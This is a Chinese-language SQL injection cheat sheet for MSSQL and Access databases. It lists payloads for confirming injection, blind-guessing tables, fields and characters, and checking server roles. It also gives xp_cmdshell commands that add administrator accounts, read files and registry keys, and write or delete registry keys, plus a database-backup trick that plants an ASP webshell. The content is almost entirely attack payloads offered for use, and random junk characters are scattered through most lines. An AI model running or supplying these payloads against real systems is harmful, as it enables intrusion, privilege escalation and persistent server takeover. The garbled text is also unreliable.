1.判断是否有注入;and 1=1 ;and 1=2 Im?/#t X
2.初步判断是否是mssql ;and user>0 GEvx<:
R4X9g\KpAt
3.注入参数是字符'and [查询条件] and ''=' /d+v4GIB
|}2/:f#Iz*
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 2D(sA
>/Gw)K}#E
5.判断数据库系统 7+88o:G9
tPa(H;
;and (select count(*) from sysobjects)>0 mssql ScjeAC)
ow
;and (select count(*) from msysobjects)>0 access Zor!hc0<
=),O ;M
P*jiz@6
,PoG=W
6.猜数据库 ;and (select Count(*) from [数据库名])>0 \K9.]PfbI
S}fQis
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 cuC'
o\f
ZbiC=uh
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 y #C9@C
H,W8JNPs
9.(1)猜字段的ascii值(access) zB`J+r;LU
^rs{1S
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 }.(DQwC}1k
)3A+Ell`
(2)猜字段的ascii值(mssql) q{Gh5zg5O
ck%.D%=
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 xbxzB<yL
l-cBN^^
10.测试权限结构(mssql) Z
t4q=
Lr
B uso
`G
\crh`~?>
#eN2{G=4+
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- IhBQ1,&J
:ssj7wl :
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- W}N7jPO}
#6
ni~d&0
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- $IS!GS&:
C~ A`h=A<
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ?hAO-*);
YcV^Fqi!
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- w >%^pO~}`
BW6Ox=sr<
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- S,C c0)j>
@ ;@~=w
;and 1=(select IS_MEMBER('db_owner'));-- ]%I\FefT
#?+[|RS|
FZ}^)u}o
K2e68GU
11.添加mssql和系统的帐户 ]'7Au]Us`
~ES%=if~Y
;exec master.dbo.sp_addlogin username;-- 3=o4ncg(
;exec master.dbo.sp_password null,username,password;-- E24SD' |)
IA&V?{OE@I
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- T`pDjT
9D &vxKE
;exec master.dbo.xp_cmdshell 'net user username password 3UmkFK<
"wcw`TsK
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3s|:7
D"-Wo}"8O'
;exec master.dbo.xp_cmdshell 'net user username password /add';-- D 5oYcGc
9BpxbU+L;
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- /F9Dg<#a
j!NXNuy:
@;KYvDY
aeI0;u
12.(1)遍历目录 - f ^!R
y$bY
8L
;create table dirs(paths varchar(100), id int) 63%V_B|
wsQ],ZE
;insert dirs exec master.dbo.xp_dirtree 'c:\' ,C"6@/:l
}:YL'$:5!
;and (select top 1 paths from dirs)>0 QZG<sZ0"
&o7PB`(l
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (3$DUvx7
^fe,A=k~1
f8SO:ihXL
IY8<^Q']
(2)遍历目录 i].E1},%
TmftEw>u
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- p-_9I7?
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ,52Lm=n
Tn/Z s|
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 k!z<=WA
]LZ#[xnM7
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 R) :Xs .
rr2!H%:
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 <`"
z/h]Jos
GDC@s<[k
NOwd'iU
13.mssql中的存储过程 D!OY <?
0HU0p!yt&
xp_regenumvalues 注册表根键, 子键 R`DzVBLl
kr~n5WiAZ
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;,6C&|n]w
DBsoa0w
xp_regread 根键,子键,键值名 4i{Xs5zk
<9
^7r J
;exec xp_regread ^'`(E_2u
kvbW^pl
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 nyqX\m-
.tGz, z}
xp_regwrite 根键,子键, 值名, 值类型, 值 J^CAQfcx
RCYv 2=m>Q
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 6nE/8m
6;:D!},'c
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 .%7Le|Fb"
g(X`.0
xp_regdeletevalue 根键,子键,值名 {DKZ~
)-1e}VF(U
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \-]tvgA~&
T%&vq6
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 H"^9g3U
f OR9 N/
%{4U\4d@'
:<B_V<
14.mssql的backup创建webshell $z*"@
axt;}8
use model "=
%"@"<)
jUNt4
create table cmd(str image); J
;z`bk^
l3ogMRq@
insert into cmd(str) values (''); Kw;gQk~R!
^7? WR?!
backup database model to disk='c:\l.asp'; E9I08AODS
[pp|*@1T
_*?qOmf=
O9d"Z$~n=j
15.mssql内置函数 <`=Kt[_BQ
VVAc bAGJ
;and (select @@version)>0 获得Windows的版本号 HBvyX`-
-Z:x!M[Xr
;and user_name()='dbo' 判断当前系统的连接用户是不是sa QN$s%&O
<'$>&^!^
;and (select user_name())>0 爆当前系统的连接用户 7]1a3Jk
y;fF|t<y
;and (select db_name())>0 得到当前连接的数据库 F1_,V?
i.W*Go+
h9imS\gfr
W!\%v"
16.简洁的webshell }riM-
G%l')e)9Gq
use model ^yc8is'`
)4qspy3
create table cmd(str image); 0\Jeyb2dl
"|dhmV[;
insert into cmd(str) values (''); ?)(/SZC0
Or?c21un
backup database model to disk='g:\wwwtest\l.asp';